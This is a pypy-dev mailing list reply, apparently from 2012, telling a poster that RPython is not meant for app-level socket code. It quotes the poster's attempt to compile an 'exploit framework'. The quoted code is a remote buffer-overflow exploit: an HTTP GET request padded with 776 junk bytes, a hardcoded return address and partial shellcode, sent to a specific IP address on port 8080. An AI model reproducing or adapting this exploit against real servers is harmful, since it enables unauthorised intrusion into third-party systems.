why are you even using rpython for code, that’s clearly just composing some strings and sending them over a socket (i.e. strikingly app-level)?
rpython is NOT indented for app-level development.
On 02/05/12 04:18, Andrew Evans wrote:
> Hello I started developing a small exploit framework in Python about a year
> ago. I will be honest I did not get very far due to lack of commitment. But
> I wish to start on this project again, my idea is simple I want to write
> this in PyPy using RPython and be able to compile the exploits into
> executables.
>
> So far with help from this mailing list I have been able to compile
> local_exploits (ones that do not take advantage of any networking) and I am
> now working towards developing a network based one as a trial. I like to
> test the water before I jump in
>
> However I am having troubles compiling this one and am unsure how to
> diagnose any errors and would appreciate any advice any of you have to
> offer.
>
> Below is my code
>
> I removed the shell code if you wish me to post all of it please respond
> with that
>
> from pypy.rlib import rsocket
> from pypy.rpython.lltypesystem import lltype
> from pypy.rpython.lltypesystem import rffi
>
> def main(argv):
> PORT = 8080
> JUNK = "A"
> ret = "\x67\x42\xa7\x71"
> mycode =
> ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49")
>
> request = "GET /"
> for i in range(776):
> request = request + JUNK
> request = request + ret
> request = request + mycode
> request = request + " HTTP/1.1"
> request = request + "\r\n"
> ptr = rffi.str2charp(mycode) # returns a "char*" pointer
> print ptr
> print len(request)
> s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM)
> target = rsocket.INETAddress("85.25.149.220", 8080)
> s.connect(target)
> s.send((ptr, len(request), 0))
> return 0
>
> def target(*args):
> return main, None
>
>
> *cheers
>
>
>
>
> _______________________________________________
> pypy-dev mailing list
> [email protected]
> http://mail.python.org/mailman/listinfo/pypy-dev
signature.asc
Description: OpenPGP digital signature
_______________________________________________ pypy-dev mailing list [email protected] http://mail.python.org/mailman/listinfo/pypy-dev
